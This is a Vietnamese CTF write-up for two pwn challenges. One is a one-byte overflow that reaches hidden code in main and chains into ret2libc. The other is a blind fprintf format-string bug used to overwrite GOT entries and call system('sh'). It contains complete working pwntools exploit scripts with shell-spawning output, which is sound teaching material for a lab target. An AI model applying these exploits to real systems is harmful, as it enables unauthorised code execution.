Skip to main content

BKISC Recruitment CTF - PWN writeup

·2997 words·15 mins
ctf pwn BKISC 2023
Author
Lio
Trying to exploit this shell program called life that I never get control of.
Table of Contents

Easter Egg
#

Mô tả: People don’t believe me when I say that you can still do a ret2libc with just one-byte overflow. Maybe you can prove them wrong by talking to my easter bunny.

Note: Có ai tin được là tui tính để bài này ra hôm thi onsite không? =)))

Setup
#

Đề bài cung cấp cho mình 3 file: chall, libc.so.6, ld-2.35.so. Từ điểm này công với việc đọc sơ qua mô tả của đề thì khả năng cao là phải thực hiện kỹ thuật ret2libc để chiếm shell chương trình và đọc flag.

Chính vì đề cung cấp cho mình các file libc và loader để debug ở local giống với môi trường trên remote thì việc đầu tiên cần phải làm đó chính là link các file này lại với file thử thách. Để tự động hóa việc này thì các bạn có thể sử dụng pwninit.

$ pwninit
bin: ./chall
libc: ./libc.so.6
ld: ./ld-2.35.so

copying ./chall to ./chall_patched
running patchelf on ./chall_patched
writing solve.py stub

$ mv chall_patched chall

$ ls
chall  flag.txt  ld-2.35.so  libc.so.6  solve.py

$ ldd chall
        linux-vdso.so.1 (0x00007fff4c8fa000)
        libc.so.6 => ./libc.so.6 (0x00007fa15f83e000)
        ./ld-2.35.so => /lib64/ld-linux-x86-64.so.2 (0x00007fa15fa68000)

Vậy là việc link file challenge và libc đã hoàn thành.

Phân tích source code
#

Các bạn có thể sử dụng tùy ý các Decompiler khác nhau để tiến hành việc đọc code của chương trình. Mình thì sử dụng IDA Free vì nó miễn phí và hỗ trợ file ELF 64-bit. Nếu bạn giàu thì có thể dùng bản Pro luôn cho máu.

Thông qua IDA, mình nhận thấy rằng chương trình có 3 hàm chính là main, find_the_bunnyto_the_moon. Pseudocode của hàm main mà IDA decompile ra được như sau:

int __cdecl main(int argc, const char **argv, const char **envp)
{
  setbuf(stdin, 0LL);
  setbuf(_bss_start, 0LL);
  puts("I heard the easter bunny wanna talk to you, but it's no where to be seen.");
  puts("Can you find it?");
  return find_the_bunny();
}

Ở đây không có gì đặc biệt ngoài việc setup các buffer và sau đó gọi hàm find_the_bunny. Mình sẽ kiểm tra hàm này tiếp theo.

ssize_t find_the_bunny()
{
  char buf[48]; // [rsp+0h] [rbp-30h] BYREF

  puts("Due to limited stamina, you can only overwrite 1 byte.");
  return read(0, buf, 57uLL);
}

Hàm tạo một buffer 48 byte ở vị trí rbp-0x30, tức là buffer này cách rbp là 48 byte. Vậy thì nó sẽ cách địa chỉ trả về của hàm find_the_bunny là 56 byte (tính bằng khoảng cách với rbp + 8). Hàm này cho mình viết lên stack 57 byte cũng chính là chỉ cho phép ghi đè lên byte đầu tiên của địa chỉ trả về.

Ngoài ra thì còn một hàm nữa là to_the_moon mà không được gọi tới ở bất kỳ chỗ nào trong chương trình. Mình đoán là mục tiêu trước mắt là phải gọi được hàm này. Vậy nên mình sẽ thử xem nó có gì trước đã.

ssize_t to_the_moon()
{
  char buf[48]; // [rsp+0h] [rbp-30h] BYREF

  puts("You have found the easter bunny!");
  puts("It gave you a lot of stamina potions.");
  return read(0, buf, 100uLL);
}

Hàm này cũng tạo một buffer 48 byte ở vị trí rbp-0x30 nhưng lại đọc input đến tận 100 byte, cũng tức là mình có thể overflow stack đủ nhiều để sử dụng kỹ thuật ret2libc mà chiếm shell của chương trình.

Lên kịch bản khai thác
#

Như đã phân tích ở trên, hàm to_the_moon sẽ là target chính nên mình phải bằng cách nào đó gọi được hàm này để khai thác lỗi buffer overflow để áp dụng kỹ thuật ret2libc chiếm shell chương trình.

Hàm find_the_bunny chỉ cho mình ghi đè lên được byte đầu tiên của địa chỉ trả về, nhưng vì các hàm này đểu thuộc chương trình gốc mà không phải hàm của libc nên trên lý thuyết thì chúng được đặt gần nhau và do đó có thể chỉ cần ghi đè 1 byte thôi cũng đủ để nhảy qua hàm khác được.

Vậy hướng khai thác của mình có thể tóm gọn lại như sau:

  • Overflow 1 byte của hàm find_the_bunny để nhảy tới hàm to_the_moon.
  • Lợi dụng lỗi buffer overflow của hàm to_the_moon để ret2libc và chiếm shell chương trình.

Tiến hành debug
#

Có khá nhiều plugin cho gdb để việc debug trở nên dễ dàng hơn nhưng đối với người chơi pwn thì thường sử dụng nhất là pwndbg.

Nếu các bạn đã tới được bước này rồi thì đương nhiên sẽ gặp được chướng ngại lớn nhất của đề.

Khi tiến hành debug địa chỉ trả về của find_the_bunny, mình nhận thấy rằng ở luồng thực thi thông thường chương trình sẽ nhảy về địa chỉ lệnh main+82 tức là tại

0x0000000000401240 <main+82>:    jmp    0x401264 <main+118>

Tuy nhiên, địa chỉ bắt đầu của hàm to_the_moon lại nằm ở 0x401176, 2 địa chỉ này khác biệt nhau tận 2 byte và do đó, việc ghi đè 1 byte để nhảy từ địa chỉ trả về của hàm find_the_bunny đến hàm to_the_moon là bất khả thi.

Nếu các bạn tới được đây và cho rằng hết cách rồi, hoặc đi xin tác giả được ghi đè lên 2 byte thì không nhé. Vì chương trình này còn 1 thứ rất hay mà chỉ khi debug thì mới biết được.

Điểm bất thường của chương trình
#

Khi disassemble hàm main ra thì mình có được đoạn code assembly sau:

pwndbg> disass main
Dump of assembler code for function main:
   0x00000000004011ee <+0>:     endbr64
   0x00000000004011f2 <+4>:     push   rbp
   0x00000000004011f3 <+5>:     mov    rbp,rsp
   0x00000000004011f6 <+8>:     mov    rax,QWORD PTR [rip+0x2e53]        # 0x404050 <stdin@@GLIBC_2.2.5>
   0x00000000004011fd <+15>:    mov    esi,0x0
   0x0000000000401202 <+20>:    mov    rdi,rax
   0x0000000000401205 <+23>:    call   0x401070 <setbuf@plt>
   0x000000000040120a <+28>:    mov    rax,QWORD PTR [rip+0x2e2f]        # 0x404040 <stdout@@GLIBC_2.2.5>
   0x0000000000401211 <+35>:    mov    esi,0x0
   0x0000000000401216 <+40>:    mov    rdi,rax
   0x0000000000401219 <+43>:    call   0x401070 <setbuf@plt>
   0x000000000040121e <+48>:    lea    rdi,[rip+0xe6b]        # 0x402090
   0x0000000000401225 <+55>:    call   0x401060 <puts@plt>
   0x000000000040122a <+60>:    lea    rdi,[rip+0xea9]        # 0x4020da
   0x0000000000401231 <+67>:    call   0x401060 <puts@plt>
   0x0000000000401236 <+72>:    mov    eax,0x0
   0x000000000040123b <+77>:    call   0x4011b8 <find_the_bunny>
   0x0000000000401240 <+82>:    jmp    0x401264 <main+118>
   0x0000000000401242 <+84>:    lea    rdi,[rip+0xea7]        # 0x4020f0
   0x0000000000401249 <+91>:    call   0x401060 <puts@plt>
   0x000000000040124e <+96>:    xor    rdi,rdi
   0x0000000000401251 <+99>:    mov    rsi,rsp
   0x0000000000401254 <+102>:   add    rsi,0x8
   0x0000000000401258 <+106>:   mov    rdx,0x8
   0x000000000040125f <+113>:   call   0x401080 <read@plt>
   0x0000000000401264 <+118>:   nop
   0x0000000000401265 <+119>:   pop    rbp
   0x0000000000401266 <+120>:   ret
End of assembler dump.

Thấy điều gì kỳ lạ không???

Tại main+77, chương trình tiến hành gọi hàm find_the_bunny và set địa chỉ trả về tại main+82. Tuy nhiên, khi đến địa chỉ lệnh tại main+82 chương trình lại nhảy thẳng xuống main+118 tức là khúc mà hàm main kết thúc, hoàn toàn bỏ qua hẳn một đoạn 7 dòng code assembly nằm giữa.

Cũng chính bởi câu lệnh jmp 0x401264 <main+118> đặc biệt này mà các decompiler đã bị đánh lừa và nghĩ rằng hàm main sau khi gọi find_the_bunny sẽ kết thúc. Xin chúc mừng bạn vừa tìm đc Easter Egg của chương trình, cũng chính là tên của đề.

Quay trở lại vấn đề chính, mình có thể đọc thử và đoán xem đoạn này chương trình sẽ làm gì.

Đầu tiên là khúc

   0x0000000000401242 <+84>:    lea    rdi,[rip+0xea7]        # 0x4020f0
   0x0000000000401249 <+91>:    call   0x401060 <puts@plt>

có lẽ chương trình sẽ in ra một string nào đó. Cái này thừa thải nên mình không cần để ý thêm.

Tiếp theo là đoạn còn lại này:

   0x000000000040124e <+96>:    xor    rdi,rdi
   0x0000000000401251 <+99>:    mov    rsi,rsp
   0x0000000000401254 <+102>:   add    rsi,0x8
   0x0000000000401258 <+106>:   mov    rdx,0x8
   0x000000000040125f <+113>:   call   0x401080 <read@plt>

Khi phân tích kỹ ra thì khúc này chương trình sẽ đọc 8 byte input của mình và lưu nó ở rsp+8. Mà rsp+8 của hàm main khi này sẽ là chính địa chỉ trả về của hàm main luôn.

Vậy tức là nếu mình tới được đoạn này thì sẽ có thể ghi đè lên địa chỉ trả về của main và từ đó nhảy tới được hàm to_the_moon. Và điều này hoàn toàn có thể thực hiện được do đoạn code assembly này nằm ngay dưới địa chỉ lệnh mà hàm find_the_bunny sẽ trở về sau khi kết thúc mà do đó chỉ khác biệt nhau đúng duy nhất 1 byte đầu tiên.

Lên kịch bản khai thác lần 2
#

Vậy hướng khai thác mới sẽ là như sau:

  • Overflow 1 byte của hàm find_the_bunny để nhảy tới đoạn bị ẩn của hàm main tại main+84.
  • Viết đè lên địa chỉ trả về của hàm main để nhảy tới hàm to_the_moon.
  • Lợi dụng lỗi buffer overflow của hàm to_the_moon để ret2libc và chiếm shell chương trình.

Viết script khai thác
#

Mình để ý là ai mở ticket để hỏi về bài này cũng đều biết cách khai thác nhưng không thành công do chủ yếu scripting còn hơi lỏ đấy nhá

from pwn import *

context.binary = exe = ELF('./chall')
libc = ELF('./libc.so.6')

#io = process()
#gdb.attach(io, api=True)
io = remote('34.87.54.101', 4204)

pop_rdi = 0x4012d3

# Stage 1: jump to the vulnerable function
payload = b'i'*0x38 + b'\x42'
io.sendafter(b'byte.\n', payload)
io.sendafter(b'more!\n', p64(exe.sym['to_the_moon']))

# Stage 2: leak libc
payload = b'i'*0x38 + p64(pop_rdi) + p64(exe.got['puts']) + p64(exe.plt['puts'])
payload += p64(exe.sym['to_the_moon']) # Back to the vulnerable function to continue exploiting
io.sendafter(b'potions.\n', payload)
libc.address = u64(io.recvline(keepends=False).ljust(8, b'\0')) - libc.sym['puts']
log.info(f'Libc base: {hex(libc.address)}')

# Stage 3: ret2system
payload = b'i'*0x38 + p64(pop_rdi) + p64(libc.search(b"/bin/sh").__next__()) + p64(libc.sym['system'])
io.sendafter(b'potions.\n', payload)

io.interactive()

Chạy script và lấy flag thôi nào

$ python exp.py
[+] Opening connection to 34.87.54.101 on port 4204: Done
[*] Libc base: 0x7f83a8c58000
[*] Switching to interactive mode
$ ls
flag.txt
run
$ cat flag.txt
BKISC{0n3_c4n_35c4p3_7h3_3y3s_0f_th3_d3c0mp1l3r_bu7_n0t_7h3_d3bu99er}

You Can’t See Me
#

Mô tả: The real magic is things that happen when your eyes can not see.

Setup
#

Tương tự như trên, đề cũng cho 3 file: chall, libc.so.6, ld-linux-x86-64.so.2. Mình sẽ link lại chúng trước để tiện cho việc debug sau này hơn.

$ pwninit
bin: ./chall
libc: ./libc.so.6
ld: ./ld-linux-x86-64.so.2

copying ./chall to ./chall_patched
running patchelf on ./chall_patched
writing solve.py stub

$ mv chall_patched chall

$ ls
chall  flag.txt  ld-linux-x86-64.so.2  libc.so.6  solve.py

$ ldd chall
        linux-vdso.so.1 (0x00007ffd12af3000)
        libc.so.6 => ./libc.so.6 (0x00007fefb2b5b000)
        ./ld-linux-x86-64.so.2 => /lib64/ld-linux-x86-64.so.2 (0x00007fefb2d85000)

Phân tích source code
#

Chương trình chỉ có 2 hàm chính là mainget_msg. Như thường lệ thì mình sẽ coi hàm main trước.

int __cdecl main(int argc, const char **argv, const char **envp)
{
  char buf[40]; // [rsp+0h] [rbp-30h] BYREF
  unsigned __int64 v6; // [rsp+28h] [rbp-8h]

  v6 = __readfsqword(0x28u);
  setbuf(stdin, 0LL);
  setbuf(stdout, 0LL);
  puts("Wanna see me do a magic trick?");
  puts("Give me your message and I'll see what I can do.");
  get_msg();
  puts("Voila! Your message is now gone. Give me another:");
  read(0, buf, 0x64uLL);
  return v6 - __readfsqword(0x28u);
}

Dễ dàng nhận thấy rằng ở hàm main bị dính một lỗi buffer overflow nghiêm trọng. Tuy nhiên chương trình đã bật chế độ bảo vệ Canary nên mình không thể cứ thế mà overwrite được giá trị trên stack. Vậy nên hãy chuyển qua phân tích hàm get_msg tiếp theo nào.

unsigned __int64 get_msg()
{
  FILE *stream; // [rsp+8h] [rbp-D8h]
  char s[200]; // [rsp+10h] [rbp-D0h] BYREF
  unsigned __int64 v3; // [rsp+D8h] [rbp-8h]

  v3 = __readfsqword(0x28u);
  stream = fopen("/dev/null", "w");
  if ( stream )
  {
    printf("> ");
    fgets(s, 144, stdin);
    fprintf(stream, s);
  }
  printf("Hippity hoppity, now you see me, now you don't. Funni\n");
  return v3 - __readfsqword(0x28u);
}

Ở hàm này chương trình đọc vào input của mình nhập vô biến s sau đó tiến hành gọi hàm fprintf để in format từ biến s sang file /dev/null. Và cũng như tất cả các hàm thuộc họ printf khác, vì không chỉ định trước format mà in thẳng buffer người dùng nhập vào cho nên hàm này cũng bị dính lỗi format string. Còn hàm printf kia thì do chỉ in ra 1 string cố định mà có lẽ sẽ không thể bị khai thác được.

Mặc dù fprintf dính lỗi format string nhưng tất cả output đều đã được đưa vào bên trong file /dev/null và do đó không thể leak được giá trị trên stack bằng hàm này. Tuy nhiên cũng vì mang lỗi format string mà fprintf cũng có thể bị khai thác để tiến hành việc ghi đè dữ liệu lên các vùng nhớ khác tương tự như các hàm thuộc họ printf.

Ngoài ra, thông thường chương trình sẽ lưu các string cố định vào vùng nhớ .rodata (read only data) nhưng khi nhấp chuột vào string bên trong hàm printf kia thì nó lại dẫn mình đến vùng nhớ .data, tức nó là một biến global? Thậm chí nó còn có tên biến là msg nữa cơ.

Do vùng nhớ .data có thể được ghi đè lên nên mình có thể thay đổi string này để khi chạy hàm printf sẽ dính lỗi format string và từ đó leak được giá trị trên stack ra ngoài.

Đối với những người chơi pwn lâu năm thì sẽ dễ nhận ra điều này hơn do tính tối ưu khi compiler của gcc sẽ tự động biến câu lệnh

printf("Hippity hoppity, now you see me, now you don't. Funni\n");

thành

puts("Hippity hoppity, now you see me, now you don't. Funni");

nên không thể nào có chuyện một đoạn code như thế nằm chình ình trong chương trình mà cái string đó lại không phải là biến global được.

Và đương nhiên việc có thể ghi đè lên được string này thì mình có thể tận dụng lỗi của hàm fprintf ở trước đó để khai thác. Nếu đã tới được đây rồi thì việc khai thác còn lại sẽ rẽ nhiều hướng khác nhau tùy thuộc vào chọn lựa của các bạn thôi.

Lên kịch bản khai thác
#

Cho dù hướng đi của các bạn có là gì đi chăng nữa thì đều phải qua được một bước chung nhất đó chính là ghi đè lên biến msg để leak được giá trị trên stack ra và từ đó có thể khai thác theo nhiều kiểu khác nhau, tiêu biểu như:

  • Dùng fprintf để leak giá trị libc bằng printf đồng thời ghi đè lên GOT của hàm read hoặc hàm __stack_chk_fail thành địa chỉ của hàm main để chương trình quay trở về hàm main khi trigger 1 trong 2 hàm này. Sau đó lại tiếp tục khai thác hàm fprintf để ghi đè GOT của hàm printf thành system và ghi đè biến msg thành string “sh” để khi chương trình gọi printf(msg) thì nó sẽ gọi system(“sh”).

  • Dùng fprintf để leak giá trị libc và canary bằng printf sau đó lợi dụng lỗi buffer overflow của hàm main khi gọi read để ghi đè lên stack giá trị canary đúng sau đó tiếp tục overflow xuống dưới để ret2system và chiếm shell.

  • Dùng fprintf để leak giá trị libc ằng printf đồng thời ghi đè lên GOT của hàm __stack_chk_fail bằng câu lệnh ret để khiến nó trở nên vô dụng sau đó cũng khai thác việc gọi read ở hàm main để ret2system.

Đối với mình thì mình sẽ sử dụng cách đầu tiên nhé.

Tiến hành debug
#

Việc debug ở đây cũng không có gì đáng chú ý, chủ yếu là mình đặt breakpoint ở 2 thời điểm lúc gọi fprintfprintf để xem buffer của mình ở offset thứ mấy trên stack (cho việc ghi đè bằng hàm fprintf) cũng như là của các giá trị cần tìm như libc, canary (cho việc leak).

Đầu tiên là dừng tại lúc gọi hàm fprintf:

GDB_fprintf

Chuỗi mình nhập vào nằm ở index thứ 2 trên stack, do hàm fprintf nhận vào tối thiểu 2 argument mà index thứ 0 trên stack sẽ bắt đầu ở offset thứ 5 chứ không phải thứ 6 như khi gọi printf. Qua đó mình biết được input buffer của mình nằm ở offset thứ 7.

Ngoài ra thì nếu các bạn muốn biết khi gọi hàm fprintf sẽ in cái gì vào /dev/null thì trong gdb trước khi chương trình gọi hàm này có thể dùng lệnh set $rdi=stdout để pipe output của hàm vào stdout thay vì vào /dev/null.

Tiếp theo mình sẽ dừng tại đoạn gọi printf:

GDB_printf

Các bạn có thể sử dụng lệnh stack <n> với n là số dòng trên stack muốn xem để có thể quan sát được các giá trị trong stack ở dưới sâu hơn. Dưới đây là kết quả của 30 giá trị trên stack:

stack

Mình nhận thấy rằng có thể leak được giá trị của hàm puts+346 ở index thứ 0x15 (21) trên stack, tức là offset thứ 27 vì đây là hàm printf. Nếu các bạn muốn leak được thêm canary thì nó nằm ở offset 33 đấy.

Như mọi lần giải các thử thách pwnable thì sau đó là 1 khoảng thời gian cồng kềnh để debug kiểm tra từng bước trong script mình viết đã đúng hay chưa, việc ghi đè có đúng giá trị hay không,… Nhưng chung quy lại thì đến đây là đã xong được 90% rồi, còn lại thì chỉ có viết script thôi.

Viết script khai thác
#

Lại 1 lần nữa xin được nhắc nhở người biết cách giải bài này mà toàn bị chặn do script lỏ nhé. Tạo ticket mà thấy 80% là làm được nhưng toàn bị vấn đề scripting.

from pwn import *

context.binary = exe = ELF('./chall')
libc = ELF('./libc.so.6')

script = '''b* get_msg+144
b* main+124
c
'''
# io = process()
# gdb.attach(io, gdbscript=script, api=True)
io = remote('34.124.216.27', 4200)

# make GOT read function call main + leak libc puts+346 by overwriting the msg at printf
payload = fmtstr_payload(7, {exe.got['read']:exe.sym['main'], exe.sym['msg']:b'%27$p'}, write_size='short')
io.sendlineafter(b'> ', payload)

io.recvuntil(b'0x')
libc.address = int(io.recvuntil(b't')[:-1], 16) - (libc.sym['puts']+346)
log.info(f'Libc base: {hex(libc.address)}')

payload = fmtstr_payload(7, {exe.got['printf']:libc.sym['system'], exe.sym['msg']:b'sh\0'}, write_size='short')
io.sendlineafter(b'> ', payload)

io.interactive()

Chạy script rồi lấy flag thôi.

$ python exp.py
[+] Opening connection to 34.124.216.27 on port 4200: Done
[*] Libc base: 0x7feada27e000
[*] Switching to interactive mode
$ ls
flag.txt
run
$ cat flag.txt
BKISC{th3_m4g1k_0f_l34kl3s5_f0rm4t_1s_7h4t_y0u_c4n_5t1ll_wr1t3}